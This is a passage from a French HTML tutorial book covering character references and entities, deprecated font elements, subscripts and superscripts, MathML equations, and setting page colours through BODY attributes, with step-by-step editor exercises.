j Les références de caractères numériques (décimales ou
hexadécimales).
j Les références d’entités de caractères.

Les références de caractères numériques spécifient la position du code

d’un caractère dans le jeu de caractères du document. Elles peuvent être
exprimées :
j Sous forme décimale, &#D;, où D représente un nombre décimal
qui se rapporte au numéro de caractère D décimal ISO 10646.
j Sous forme hexadécimale, &#xH; où &#XH;, où H représente un
nombre hexadécimal qui se rapporte au numéro de caractère H
hexadécimal ISO 10646.

Les nombres hexadécimaux dans les références de caractères

numériques sont insensibles à la casse. Il est recommandé de préférer la
forme hexadécimale à la forme décimale, car c’est la forme employée
pour les normes des jeux de caractères.

LE GUIDE COMPLET 159

 Chapitre 5 Mise en forme avancée

Les entités de caractères représentent un moyen plus intuitif pour les

auteurs d’appeler les caractères du jeu de caractères du document. Elles
ont recours à des noms symboliques, qui évitent aux auteurs d’avoir à se
remémorer les positions des codes. Par exemple, la référence d’entité de
caractère &agrave; se rapporte à la lettre « à ». Il est plus facile de se
souvenir de &agrave; que de &#224; ou de &#xe0;.

HTML 4 ne définit pas de référence d’entité de caractère pour chacun

des caractères du jeu de caractères du document. En outre, les références
d’entités de caractères sont sensibles à la casse. Ainsi, &Agrave; (À) ne
se rapporte pas au même caractère que &agrave; (à).

Quatre références d’entités de caractères méritent une attention

particulière : elles sont fréquemment utilisées pour masquer certains
caractères spéciaux dans le code HTML.
j &lt; représente le caractère <
j égt; représente le caractère >
j &amp; représente le caractère &
j &quot; représente le caractère "

Vous comprenez désormais l’origine des caractères « bizarres » que

vous avez rencontrés dans le passé. Vous pourriez cependant vous poser
la question de l’intérêt réel de ces références de caractères : si elles
paraissent effectivement indispensables pour les caractères réservés de
HTML, comme < et >, nous avons jusque-là largement employé, dans
les pages, du texte comportant des caractères accentués sans que cela ne
semble poser le moindre problème.

La restitution des caractères accentués présents tels quels dans le texte

dépend en réalité tant de l’agent utilisateur employé que de la
configuration de la machine utilisée, et notamment des polices installées
sur celle-ci. Par sécurité, l’emploi des références de caractères est donc
hautement recommandé.

La majorité des éditeurs HTML transforment automatiquement ces

caractères en références, vous évitant d’avoir à les saisir manuellement :
ainsi, Liste ordonnée devient Liste ordonna#xe9;e, mais vous
pourriez aussi bien écrire Liste ordonn&eacute;e ou Liste
ordonn&#233;e. Si vous préférez vous en tenir à un éditeur de type
texte, vous devrez en tenir compte et « vous habituer &agrave;

160 LE GUIDE COMPLET

 Caractères spéciaux et encodage de caractères Chapitre 5

&eacute;crire vos textes en tenant compte des caract&egrave;res

accentu&eacutes;s ». Rassurez-vous, l’habitude vient en fait assez vite.
1 Ouvrez dans le Bloc-Notes le fichier pageacc1_5_6.html (en
principe celui actuellement ouvert dans le Bloc-Notes).
2 Modifiez à nouveau le numéro de version :
<META name="version" content="1.5.7">

3 Remplacez tous les caractères accentués du texte par leurs

équivalents références de caractères :
<LI>sur ma <A href="[Link]">r&eacute;gion</A> ;</LI>
…
<ADDRESS>
<A href="../ORignal/">Olivier Rignal</A> et
<A href="../JBogue/">Justin Bogue</A> sont les personnes
&agrave contacter pour tout <A href="probleme">
probl&egrave;me</A> rencontr&eacute; sur le site.
</ADDRESS>

4 Enregistrez votre fichier sous le nom pageacc1_5_7.html.

Examinez cette page dans votre navigateur : vous ne devriez constater
aucune différence avec la version précédente.

Figure 5.17 :
Emploi des
références de
caractères

LE GUIDE COMPLET 161

 Chapitre 5 Mise en forme avancée

Un peu pénible quand même… Ne serait-il pas possible de tirer profit de

la capacité des éditeurs HTML à transformer automatiquement tout ce
qui a pu être créé auparavant ? Bien sûr que oui.
1 Ouvrez Nvu, puis ouvrez le fichier pageacc1_5_6.html (qui
possède encore des caractères accentués).
2 Vérifiez le paramètrage de Nvu. Choisissez Outils > Préférences.
Dans la fenêtre qui s’ouvre, cliquez dans le volet de droite sur
Général si le volet Général n’est pas affiché dans la partie droite.
Vérifiez que dans la section Lors de l’enregistrement ou de la
publication de page l’option Reformater la source HTML est bien
sélectionnée.
3 Cliquez dans le volet de gauche sur Avancées. Dans la section
Caractères spéciaux, vérifiez que Définir les caractères suivants en
tant qu’entités est bien fixé à Tout caractère ayant une entité
équivalente dans la spécification HTML 4".
4 Enregistrez votre fichier sous le nom pageacc1_5_6b.html.
En examinant le code source, vous constaterez que tous les caractères
possédant une entité équivalente ont bien été remplacés par celle-ci.

Figure 5.18 : Page automatiquement transformée par Nvu

Remarquez que, si nous avons ici modifié le nom du fichier, cela n’est
pas obligatoire : le simple fait d’enregistrer le fichier accomplit la
transformation.

162 LE GUIDE COMPLET

 Caractères spéciaux et encodage de caractères Chapitre 5

Caractères non affichables

Malgré toutes les précautions, un agent utilisateur n’est pas toujours en
mesure de restituer de manière significative tous les caractères d’un
document. Par exemple, si l’agent utilisateur ne dispose pas d’une police
appropriée, la valeur d’un caractère peut ne pas s’exprimer au travers de
l’encodage de caractères interne de l’agent utilisateur, etc.

Vu la palette des réponses possibles en pareils cas, la spécification

HTML 4.0.1 ne suggère aucun comportement spécifique. Selon la mise
en œuvre, les caractères non affichables peuvent également être gérés
par le système d’affichage sous-jacent et non par l’application elle-
même. Il est recommandé par le W3C que les agents utilisateurs
adoptent un mécanisme visible et clair, mais non intrusif, pour avertir
l’utilisateur de l’absence des ressources nécessaires.

Le tableau suivant présente les entités les plus employées en HTML.

Tableau 5.2 : Jeu des références de caractères Latin-1 (ISO-8859-1)

Carac- Entité Décimal Hexa- Carac- Entité Décimal Hexa-

tère décimal tère décimal

< &lt; &#60; &#x3c; é &eacute; &#233; &#xe9;

> &gt; &#62; &#x3e; ê &ecirc; &#234; &#xeac;

espace &nbsp; &#160; &#xa0; ì &igrave; &#236; &#xec;

insé-
cable

« &laquo; &#171; &#xab; î &icirc; &#238; &#xee;

± &plusmn; &#177; &#xb1; ï &iuml; &#239; &#xef;

» &raquo; &#187; &#xbb; ô &ocirc; &#244; &#xf4;

× &times; &#215; &#xb7; ö &ouml; &#246; &#xf6;

à &agrave; &#224; &#xe0; ÷ &divide; &#247; &#xf7;

â &acirc; &#226; &#xe2; ù &ugrave; &#249; &#xf9;

ç &ccedil; &#231; &#xe7; û &ucirc; &#251; &#xfb;

è &egrave; &#232; &#xe8; ü &uuml; &#252; &#xfc;

L’Annexe D présente une liste plus complète des caractères du jeu

Latin-1.

LE GUIDE COMPLET 163

 Chapitre 5 Mise en forme avancée

Nous avons déjà rencontré avec les tableaux l’attribut dir, définissant la
directionnalité. Celui-ci, combiné ou non avec l’attribut lang, permet
d’adapter encore mieux vos pages au public visé. Ces attributs seront
étudiés plus en détail dans le Chapitre 10, traitant de l’internatio-
nalisation et de la localisation.

5.4. Modification de l’apparence

du texte
HTML dispose de plusieurs éléments permettant de modifier
l’apparence du texte, similaires en un sens aux enrichissements que vous
pouvez apporter à un document dans un traitement de texte. Il est ainsi
possible de modifier le style d’un mot individuel, d’une expression ou
d’une phrase. Il existe de bonnes raisons de vouloir procéder ainsi, mais
il existe également d’excellentes raisons de ne pas le faire. Même si tous
ces éléments ne sont pas déconseillés, il reste préconisé de leur préférer
les feuilles de style.

Éléments TT, I, B, BIG, SMALL, STRIKE, S

et U
Ajouter du gras, de l’italique et du soulignement à certaines parties de
vos textes augmente leur impact et contribue à l’efficacité de votre
message pour le public concerné. Comme cela a déjà été signalé, mieux
vaut toutefois employer une emphase structurelle à l’aide des éléments
EM et STRONG, déjà abordés.

Le tableau suivant présente les éléments utilisables.

Tableau 5.3 : Éléments de modification de police

Élément But Exemple

TT Texte affiché en police non <TT>texte</TT>

proportionnelle

I Texte en italique <I>texte</I>

B Texte en gras <B>texte</B>
BIG Texte affiché dans une police <BIG>texte</BIG>
plus grande

164 LE GUIDE COMPLET

 Modification de l’apparence du texte Chapitre 5

Tableau 5.3 : Éléments de modification de police

Élément But Exemple

SMALL Texte affiché dans une police <SMALL>texte</SMALL>

plus petite

STRIKE et S Texte barré (déconseillé) <S>texte</S>

U Texte souligné (déconseillé) <U>texte</U>

Remarquez que la restitution des éléments de style de police dépend de

l’agent utilisateur.

Il est possible d’obtenir une bien plus grande diversité d’effets de police
en utilisant les feuilles de style. Les éléments de style de police doivent
être correctement imbriqués. La restitution des éléments de style de
police imbriqués dépend de l’agent utilisateur.

Modificateurs de police : éléments FONT

et BASEFONT
L’élément BASEFONT définit les caractéristiques de la police de base. Il
est généralement placé en tête d’un document HTML. Les modifications
ultérieures apportées à la police grâce à l’élément FONT sont relatives à
la police de base définie par l’élément BASEFONT.
Ces deux éléments sont désormais déconseillés. Ils possèdent plusieurs
attributs facultatifs :

Attribut size
Cet attribut déconseillé définit la taille de la police. Sa valeur peut être
exprimée comme entier compris 1 et 7, attribuant à la police une
certaine taille fixe dont la restitution dépend de l’agent utilisateur, ou
comme accroissement relatif : la valeur +1 signifie la taille au-dessus, la
valeur −3 signifie trois tailles en dessous. Toutes les tailles se trouvent
sur une échelle allant de 1 à 7.

Si l’élément BASEFONT est absent ou ne définit pas l’attribut size, la

taille de police de base est égale à 3.

LE GUIDE COMPLET 165

 Chapitre 5 Mise en forme avancée

Police des titres

La taille de police de base ne s’applique pas aux titres, sauf quand
ceux-ci sont modifiés par un élément FONT avec un changement de taille
de police relatif.

Attribut color
Cet attribut déconseillé spécifie la couleur du texte (reportez-vous au
Chapitre 6 pour plus de détails).

Attribut face
Cet attribut définit une liste de noms de police, séparés par des virgules,
que l’agent utilisateur devrait employer par ordre de préférence. Vous
trouverez ci-dessous un petit exemple de la mise en œuvre de cet attribut.
L’affichage dans un navigateur est montré dans la figure qui suit.
Listing 5-5 : Tailles de police
<P align="center"><font size=1>size=1</font><BR>
<font size=2>size=2</font><BR>
<font size=3>size=3</font><BR>
<font size=4>size=4</font><BR>
<font size=5>size=5</font><BR>
<font size=6>size=6</font><BR>
<font size=7>size=7</font></P>

Figure 5.19 :
Différents types de police

Une parade aux nombreux problèmes posés par l’élément FONT consiste à
recourir aux feuilles de style en cascade (CSS). Lorsqu’elles sont utilisées
correctement, les feuilles de style permettent aux concepteurs Web de
suggérer un format d’affichage pour certaines portions de texte, sachant
que le navigateur de l’utilisateur peut ne pas en tenir compte. Vous pouvez
modifier la couleur, la taille, la graisse et le style du texte. Vous pouvez

166 LE GUIDE COMPLET

 Modification de l’apparence du texte Chapitre 5

même disposer d’un style de recouvrement et de justification de

paragraphe. Cette méthode, bien plus souple que les éléments disponibles
via HTML, est étudiée en détail dans le Chapitre 8. En fait, les plus anciens
navigateurs (ceux qui n’utilisent pas CSS) ignorent automatiquement les
feuilles de style, ramenant tout dans le style de texte par défaut.

Tailles relatives
Si vous décidez d’avoir recours à l’élément FONT pour modifier la
taille ou les couleurs d’une page fondamentale, servez-vous de tailles
relatives (size=+1 au lieu de size=4) et choisissez des couleurs
ressortant sur un fond blanc, noir ou gris, au cas où le fond serait ainsi
prédéfini dans les préférences du navigateur.

Indices et exposants : éléments SUB et SUP

Le français emploie régulièrement des abréviations dans lesquelles un
des termes est écrit comme exposant : Mlle, 1er, etc. En outre, les
notations mathématiques (étudiées un peu plus loin) ont fréquemment
recours à des exposants : a2 + b2 = c2.

HTML propose à cette fin les éléments SUB (subscript, indice) et SUP
(superscript, exposant). Il s’agit d’éléments ligne qui décalent
légèrement vers le bas ou vers le haut le texte par rapport au reste de la
ligne. Leurs balises d’ouverture et de fermeture sont obligatoires.

L’élément indice SUB place le texte en dessous de la ligne de texte

normal. Cela est fréquemment employé pour des notes de bas de page
ou de glossaire, souvent liées à l’aide d’un signet (ou ancre) vers une
référence située à la fin du document. Par exemple, considérez le
fragment de code suivant :
<P>Il existe d’ailleurs de nombreux widgets<SUB>
<A HREF=#note1>[1]</A></SUB> compl&eacute;mentaires
Disponibles en t&eacute;l&eacute;chargement...</P>
<P><BR><BR><BR><BR><BR></P>
<P>... suite du contenu ...</P>
<P><BR><BR><BR><BR><BR></P>
<P><CITE id="note1">[1] Widget (<B>WI</B>ndows ga<B>DGET</B>).
D&eacute;signe sous Unix et Linux un outil permettant
d’accomplir une action. Plus connu sous le nom de
"contr&ocirc;le" avec Windows.</CITE></P>

Ce code procure un lien hypertexte vers la définition du terme widget.

LE GUIDE COMPLET 167

 Chapitre 5 Mise en forme avancée

Figure 5.20 :
Le premier paragraphe présente un lien

Figure 5.21 :
Le premier paragraphe présente un lien. Un
clic sur celui-ci mène vers la définition du
terme.

Comme vous l’avez sans doute deviné tout seul, l’élément exposant
accomplit exactement le contraire, plaçant le texte au-dessus de la ligne
de texte normal. Bien que cela puisse également être utilisé pour des
notes, l’usage le plus fréquent concerne des notations chimiques ou
mathématiques. Ainsi,
a<SUP>2</SUP> + b<SUP>2</SUP> = c<SUP>2</SUP>

affiche à l’écran : a2 + b2 = c2

Figure 5.22 :
Équation obtenue à l’aide de l’élément
SUP

Remarquez que nous avons employé ici un élément CODE pour afficher
l’équation dans une police non proportionnelle.
Les termes liés à la langue, les notes, les équations chimiques ou
mathématiques sont autant de raisons en faveur d’un emploi judicieux
des indices et des exposants.

Emploi intelligent des notes en HTML

Une note est liée au corps d’une section et expliquée soit à la fin de
cette section soit à la fin du document. Comme certains documents
peuvent être de grande taille, préférez en HTML les notes placées en fin
de section ou en pied de page, pour épargner à vos utilisateurs une
navigation intensive.

168 LE GUIDE COMPLET

 Notation mathématique Chapitre 5

5.5. Notation mathématique

Comme nous l’avons déjà souligné, le World Wide Web a vu le jour en
1991, avant tout pour favoriser le transfert de données entre les
physiciens. Malgré cette origine, les notations scientifiques et
mathématiques étaient mal prises en charge par les premières versions
de HTML. HTML 4.0 propose cependant quelques méthodes très
sophistiquées pour afficher de façon attrayante et fonctionnelle les
équations mathématiques. De plus, divers programmes auxiliaires
offrent d’autres moyens d’afficher des mathématiques sur le Web.

En texte simple
La façon la plus simple d’afficher des mathématiques sur le Web est
parfois la meilleure, même si ce n’est pas la plus attrayante : vous
pouvez recourir à des caractères textuels pour les représenter, comme
cela est montré dans l’exemple de l’élément SUP. Comme nous l’avons
fait dans cet exemple, mieux vaut recourir à un élément CODE pour
afficher l’équation dans une police non proportionnelle (à espacement
fixe).

Vous devrez cependant parfois employer dans des équations des

symboles particuliers, comme des lettres grecques. Dans un tel cas,
l’emploi de l’élément FONT déjà présenté, bien que déconseillé, reste
une solution :
Listing 5-6 : Notations scientifiques en texte
<H1>Formules statistiques</H1>
<HR>
<P>Intervalle de confiance de la moyenne <I>m</I> pour
une population normale d’&eacute;cart-type
<FONT face="Symbol">s</FONT> à échantillon <I>n</I> :<BR><BR>
<CODE><BIG><BIG>
[x - t &times; (<FONT face="Symbol">s</FONT>/n<SUP>&frac12;</SUP>) ;
x + t &times; (<FONT face="Symbol">s</FONT>/n<SUP>&frac12;</SUP>)]
</CODE></BIG></BIG>
</P>

Hélas ! Tous les navigateurs n’interprètent pas ce code de la même

façon. Seul Internet Explorer tire profit de l’élément FONT pour afficher
correctement le sigma grec.

LE GUIDE COMPLET 169

 Chapitre 5 Mise en forme avancée

Figure 5.23 : Exemple d’équation écrite à l’aide de caractères texte avec

Internet Explorer

Figure 5.24 : Exemple d’équation écrite à l’aide de caractères texte avec

Firefox

Figure 5.25 : Exemple d’équation écrite à l’aide de caractères texte avec

Amaya.

L’emploi de texte simple atteint toutefois ses limites en présence de

fractions compliquées, ou en cas d’opérandes mathématiques plus
avancés.

À l’aide de graphismes
Une autre option consiste à créer des images de l’équation
mathématique et de les insérer sur votre page, comme vous le feriez
pour tout graphisme (ce sujet sera traité dans le Chapitre 7). Vous
pouvez pour ce faire recourir à un éditeur mathématique comme
l’Éditeur d’équation de Microsoft Word ou un programme commercial
comme MathType ([Link]/en/products/mathtype/).

Utiliser des fichiers graphiques séparés est une solution simple et rapide,
mais les images ne peuvent pas être facilement enregistrées avec les
pages Web, tandis qu’il reste impossible de couper/coller les équations.
Créer une image individuelle pour chaque équation peut représenter un
travail titanesque si la page traite intensivement des mathématiques.

170 LE GUIDE COMPLET

 Notation mathématique Chapitre 5

L’apparence finale peut également être variable selon les paramétrages

définis pour la page Web et pouvant être outrepassés par l’utilisateur.

Figure 5.26 :
Exemple d’emploi de
l’éditeur d’équation
Word

À l’aide de MathML
Différents experts du Web, mathématiciens, scientifiques et autres ont
travaillé pour développer une solution qui permette d’incorporer les
notations mathématiques en HTML. C’est un problème complexe dont le
but était de définir un langage de notation structurel plutôt qu’un simple
langage de description de page. HTML 4.0 propose une excellente
solution, sous la forme de MathML, un langage de notation mathématique
développé à partir de XML. La spécification 1.01 de MathML est
disponible à l’adresse [Link]/1999/07/REC-MathML-19990707/
MathML est simple, bien que par nécessité complexe pour pouvoir
représenter la totalité des mathématiques modernes. Comme en matière
de conception Web, il existe différents éditeurs, commerciaux ou gratuits,
qui permettent de créer des équations grâce à une interface simple et
facile d’accès, de convertir votre travail, et de laisser au programme la
tâche de résoudre votre équation. Même si, comme en HTML, il est
possible de coder directement en MathML, mieux vaut employer un
éditeur. Nous ne saurions mieux vous conseiller que Amaya, cet excellent
et universel produit gratuit développé par le W3C…

Figure 5.27 :
Amaya permet de
réaliser très facilement
des équations
mathématiques sous
MathML

LE GUIDE COMPLET 171

 Chapitre 5 Mise en forme avancée

L’exemple présenté est la célèbre solution de l’équation du second

degré. Remarquez le pointeur placé sur l’éditeur mathématique. Le code
de cette page est présenté ci-dessous.
Listing 5-7 : Exemple MathML
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=UTF-8">
<title>MathML</title>
<meta name="generator"
content="amaya 8.7.3, see [Link]
</head>

<body>
<h1 align=center>Solution de l’&eacute;quation du second
degr&eacute;</h1>
<p>
<code>
<math xmlns="[Link]
<mi style="font-style: normal">x</mi>

<mo>=</mo>
<mfrac>
<mrow>
<mo>–</mo>
<mi style="font-style: normal">b</mi>
<mo>±</mo>
<msqrt>

<mo>(</mo>
<msup>
<mi style="font-style: normal">b</mi>
<mn>2</mn>
</msup>
<mo>–</mo>
<mn>4</mn>
<mi>ac</mi>
<mo>)</mo>
</msqrt>
</mrow>
<mrow>
<mn>2</mn>
<mi style="font-style: normal">a</mi>
</mrow>
</mfrac>
</math>
</code>
</p>

172 LE GUIDE COMPLET

 Résumé Chapitre 5

</body>
</html>

Malheureusement, rares sont les navigateurs à reconnaître MathML :

pour le moment, Firefox et Internet Explorer en restent encore
totalement incapables.

Figure 5.28 :
Contrairement à Amaya, ni Firefox 2.0

Figure 5.29 :
… ni Internet Explorer 7.0 ne savent
actuellement reconnaître MathML

Cet état de choses devant logiquement évoluer, nous ne saurions faire

autrement que de vous recommander de vous intéresser à MathML.

5.6. Résumé
j L’élément HR permet d’insérer une ligne horizontale à l’écran.
j La balise <!−− commentaire −−> signale un commentaire
ignoré par HTML. Ces commentaires sont précieux lorsque le site
est développé et/ou maintenu par plusieurs personnes.
j Les éléments DIV et SPAN, grâce à leurs attributs id et class,
offrent un mécanisme générique de structure. Ils sont
essentiellement employés avec les feuilles de style (grâce aux
attributs id et class) et/ou l’attribut lang pour mieux exploiter
HTML.
j L’élément PRE définit un bloc de texte préformaté : la mise en
forme stipulée est théoriquement restituée telle quelle à l’écran, y
compris les espaces vierges normalement ignorés par HTML.

LE GUIDE COMPLET 173

 Chapitre 5 Mise en forme avancée

j L’élément BLOCKQUOTE (de type bloc) et son équivalent ligne Q

servent à signaler une citation. Ils doivent de préférence être
employés en combinaison avec l’élément CITE, procurant la
source de la citation.
j L’élément ADDRESS, généralement placé au début ou à la fin d’un
document, sert à fournir des informations de contact applicables
au document.
j L’attribut style permet de modifier les marges d’un bloc de
texte.
j Les éléments EM et STRONG s’utilisent pour mettre en exergue une
portion du texte, qui possède par exemple une signification
particulière dans un contexte technique.
j ABBR et ACRONYM sont des éléments qui permettent aux auteurs
d’indiquer clairement les occurrences des abréviations et des
acronymes.
j L’élément CODE a pour but d’afficher un fragment de code
informatique. C’est un élément structurel, accompagné des
éléments PMR (sortie de programme) et KBR (texte à saisir au
clavier).
j Le jeu de caractères habituellement employé en Europe
occidentale est ISO-8859-1, également nommé Latin-1. Il existe
toutefois de nombreux autres encodages de caractères répondant
aux besoins des différentes langues.
j Les caractères ne pouvant être obtenus directement au clavier
(comme les majuscules accentuées) ou susceptibles de poser
problème dans du code HTML (comme les caractères < et >) sont
remplacés dans le code HTML par des références de caractères,
exprimées sous forme numérique ou à l’aide d’entités caractères.
j FONT et BASEFONT sont des éléments qui permettent de définir et
de modifier les polices employées. Ils sont désormais déconseillés
au profit des feuilles de style.
j Les indices et exposants sont obtenus à l’aide des éléments SUB et
SUP.
j Les équations mathématiques peuvent être représentées à l’aide
de texte brut, ou d’images réalisées à l’aide d’autres produits ou
de MathML, la solution préconisée par le W3C pour l’affichage
de notations mathématiques. MathML reste malheureusement très
peu pris en charge par les navigateurs actuels.

174 LE GUIDE COMPLET

Couleurs et images

Les couleurs ........................................................................................................................ 177

Les images .......................................................................................................................... 186
Images animées ................................................................................................................. 198
Image cliquable .................................................................................................................. 210
Inclusion générique d’images : élément OBJECT ..................................................... 224
Résumé ................................................................................................................................ 240
 Chapitre 6 Couleurs et images

La plupart des pages Web ont recours à des couleurs, des images et des
icônes exploitées d’une façon ou d’une autre. Choisir avec soin un
ensemble d’images contribue à donner à votre site son style particulier.
Cet ensemble procure aux visiteurs des indices visuels sur le contenu et
est également susceptible de servir d’outil de navigation.

La première étape pour passer d’une simple page de texte en noir et

blanc à une page plus attractive consiste à employer les couleurs.
L’étape suivante consiste à incorporer des images en divers
emplacements de la page : dans des éléments, comme arrière-plan d’une
page ou d’une portion de celle-ci, etc.

En règle générale, ne demandez jamais à une image de faire le travail

d’un texte. De simples liens texte peuvent conduire les visiteurs vers
d’autres parties du site aussi facilement qu’un bouton graphique, sans
augmenter le temps de chargement. Si vous retenez des boutons
graphiques, ceux-ci doivent être aussi « légers » que possible.

Les images sont toutefois précieuses : vous pouvez employer le logo de

votre organisme dans l’en-tête, ajouter d’autres images comme éléments
illustratifs, et même employer un « texte icône » c’est-à-dire une police
de caractères fortement associée à votre site.

Outre les images statiques, vous pouvez employer des images animées
(gif animés). Comme vous le verrez dans ce chapitre, il faut dans ce
domaine agir avec prudence : un grand nombre d’images animées peut
fatiguer l’œil assez vite et rendre la page plus confuse qu’explicite.

Enfin, une étape encore plus évoluée consiste à créer des images
représentant plusieurs liens : les images cliquables (imagemap). HTML
permet de faire en sorte qu’une zone de l’image soit active, c’est-à-dire
qu’un lien lui soit associé. Vous allez étudier ces différentes techniques
dans ce chapitre.

Éléments étudiés :
bgcolor, text, link, vlink, alink, color
IMG, src, alt
AREA, shape, coords, nohref
MAP
usemap
OBJECT, data, type

176 LE GUIDE COMPLET

 Les couleurs Chapitre 6

6.1. Les couleurs

La toute première étape de l’enjolivement d’une page, après avoir
parfaitement défini sa structure comme vous avez appris à le faire dans
les chapitres précédents, consiste à y ajouter de la couleur.

Les couleurs sont souvent mises à profit par les concepteurs de sites
pour donner à un site une note particulière, ce qui porte généralement le
nom de « charte graphique ». Lorsque vous surfez sur le Web, essayez
de noter les pages qui vous plaisent et celles que vous n’aimez pas, et
pourquoi. Se servir de couleurs spécifiques sur l’ensemble du site aide
les visiteurs à se souvenir de celui-ci, sans que le temps de chargement
de la page soit augmenté.

Exploiter les couleurs est de la plus grande simplicité en HTML, grâce à

divers attributs de l’élément BODY : bgcolor et text définissent
respectivement la couleur d’arrière-plan et la couleur de texte, link,
vlink et alink définissent respectivement la couleur des liens, la
couleur des liens visités et la couleur des liens sélectionnés. bgcolor
sert également à définir la couleur de fond dans des tableaux, tandis que
l’attribut color, propre aux éléments FONT et BASEFONT, définit la
couleur du texte dans un élément individuel.

La valeur des attributs de couleur se rapporte aux définitions des

couleurs telles que spécifiées dans la spécification SRGB, relative à un
standard des couleurs sur Internet et actuellement dans sa version 1.10
([Link]/Graphics/Color/sRGB). Une valeur de couleur peut soit être un
nombre hexadécimal (préfixé par un caractère dièse « # ») soit l’un des
noms de couleur prédéfinis.

Tableau 6.1 : Noms de quelques couleurs et valeurs RGB

Nom Valeur RGB Nom Valeur RGB

Black #000000 Green #008000

Silver #C0C0C0 Lime #00FF00
Gray #808080 Olive #808000
White #FFFFFF Yellow #FFFF00
Maroon #800000 Navy #000080
Red #FF0000 Blue #0000FF

LE GUIDE COMPLET 177

 Chapitre 6 Couleurs et images

Tableau 6.1 : Noms de quelques couleurs et valeurs RGB

Nom Valeur RGB Nom Valeur RGB

Purple #800080 Teal #008080

Fuchsia #FF00FF Aqua #00FFFF

Ces noms de couleur sont insensibles à la casse : les valeurs de couleur

#800080, Purple et PURPLE désignent toutes trois la même couleur
violette.

Figure 6.1 : Les 140 couleurs à noms prédéfinis

Modification du schéma de couleurs

de la page
Modifier un schéma de couleur à l’intérieur d’une page s’effectue dans
l’élément BODY, car cela affecte pratiquement tous les éléments du corps
de la page. Après une modification de couleur, vérifiez-la toujours en la

178 LE GUIDE COMPLET

 Les couleurs Chapitre 6

visionnant avant de la publier sur le Web, si possible avec le maximum

d’ordinateurs et de configurations différentes. Cela afin de bien vérifier
que la page reste parfaite en toutes circonstances.

Nous allons modifier le schéma de couleur de notre page d’accueil, tout

d’abord à l’aide des couleurs standard :
1 Ouvrez dans le Bloc-Notes le fichier pageacc1_5_7.html (la
dernière version de la page d’accueil).
2 Modifiez à nouveau le numéro de version :
<META name="version" content="1.6.1">

3 Attribuez une couleur d’arrière-plan à l’intégralité de la page :

<BODY bgcolor="black">

4 Attribuez une couleur au texte de la page (si vous ne le faites pas,

la couleur par défaut du texte étant le noir, toute la page sera
invisible) :
<BODY bgcolor="black text="white">

BODY ou BASEFONT
Vous pouvez également modifier la couleur du texte à l’aide d’un
élément BASEFONT. Un élément
<BASEFONT color="white">
aurait un effet identique à
<BODY text="white">

5 Modifiez les couleurs des liens :

<BODY bgcolor="black" text="white" link="yellow"
vlink="silver" alink="purple">

4 Enregistrez votre fichier sous le nom pageacc1_6_1.html.

Examinez cette nouvelle page dans votre navigateur. D’accord, elle
n’offre rien d’exceptionnel et pourrait même être décrite comme un peu
macabre, mais il ne s’agit que d’un exemple ! L’emploi des noms de
couleur génériques est d’une grande simplicité et parfaitement explicite.
Vous pouvez indifféremment employer le codage hexadécimal et écrire :
<BODY bgcolor="#000000" text="#FFFFFF" link="#FFFF00"
vlink="#C0C0C0" alink="#800080">

LE GUIDE COMPLET 179

 Chapitre 6 Couleurs et images

La valeur hexadécimale employée porte le nom de code RGB de cette

couleur. Dans ce code à six chiffres, les deux premiers chiffres
correspondent à la quantité de rouge (R, red), les deux suivants à la
quantité de vert (G, green) et les deux derniers à la quantité de bleu (B,
blue). Plus les différentes valeurs sont élevées et plus la couleur est
lumineuse : trois fois 0 pour le noir et trois fois FF pour le blanc. Vous
pouvez spécifier n’importe quelle valeur hexadécimale, même si elle ne
correspond pas à une couleur standard. C’est ce qu’a fait Micro
Application.

Figure 6.2 : Micro Application a retenu comme couleur de fond un bleu

profond, défini dans l’élément BODY grâce à l’attribut bgcolor="#003366".

Comme vous êtes un utilisateur subtil, vous réalisez que cela permet de
disposer de 2563 couleurs possibles (de 0 à FF ou 255, donc 256
possibilités pour chaque composante primaire), soit environ 16,8
millions de couleurs…

Vous risquez de dire alors : « Rigolo, va ! Facile à dire, mais je n’ai pas envie
de tester une multitude de combinaisons avant de trouver la couleur qui me
plaît ! » Pas de panique, c’est enfantin. Même si vous ne disposez pas
d’un logiciel de dessin évolué comme Adobe PhotoShop ou Corell
Draw (ou, en étant moins dépensier, d’un partagiciel comme Paint Shop
Pro ou mieux encore d’un produit de dessin gratuit comme
l’incomparable The Gimp), les systèmes d’exploitation Windows sont
accompagnés d’un programme de dessin simple (Paint) qui permet de
disposer d’un échantillonneur de couleurs gratuit.
1 Ouvrez Paint (en principe, Démarrer > Tous les programmes >
Accessoires > Paint).
2 Choisissez Couleurs > Modification des couleurs . La fenêtre
Modification des couleurs s’affiche.

180 LE GUIDE COMPLET

 Les couleurs Chapitre 6

Figure 6.3 : Le logiciel de dessin Windows Paint

3 Cliquez sur Définir les couleurs personnalisées. La fenêtre

Modification des couleurs s’agrandit, proposant une zone colorée
dans laquelle se trouve un curseur, une zone de visualisation
agrandie de la couleur en bas, ainsi que, sur la droite, les valeurs
RGB exprimées en nombres décimaux.

Figure 6.4 :
Fenêtre Modification
des couleurs de Paint

4 Déplacez le curseur et choisissez la couleur souhaitée. Notez par

écrit les valeurs RGB, et continuez à rechercher des couleurs ou
fermez Paint (cliquez sur Annuler puis sur Fichier > Quitter). C’est
tout !

Enfin, pas exactement. Vous disposez de chiffres décimaux qu’il faut

convertir en hexadécimal. À moins d’être très doué et de savoir faire
cela avec facilité, vous avez besoin d’un convertisseur. La

LE GUIDE COMPLET 181

 Chapitre 6 Couleurs et images

Calculatrice Windows, également livrée avec le système d’exploitation,

est parfaite pour cela.
1 Ouvrez la calculette (Démarrer > Tous les programmes >
Accessoires > Calculatrice). Passez si nécessaire (c’est probable)
en mode scientifique en choisissant Affichage > Scientifique.
Vérifiez que le bouton d’option Déc. est sélectionné, juste sous la
ligne d’affichage.

Figure 6.5 :
Calculatrice Windows
en mode scientifique

2 Saisissez le code de la couleur rouge.

3 Cliquez sur le bouton d’option Hex et notez par écrit le résultat à
deux chiffres (il peut y avoir une lettre) correspondant à la couleur
rouge.
4 Répétez ces étapes pour le vert et le bleu, puis assemblez ensuite
les différents codes de deux chiffres : RRVVBB. Voilà votre code
RGB pour cette couleur.

En vous reportant à la figure montrant la fenêtre Modification des

couleurs de Paint de la figure 6.4, vous voyez que les valeurs pour la
couleur sélectionnée étaient 0, 51 et 102, ce qui donne 00, 33 et 66,
donc un code RGB de 003366 : justement la couleur employée par
Micro Application pour sa page d’accueil.

Convertisseur
Remarquez que si vous disposez d’un code RGB en hexadécimal et
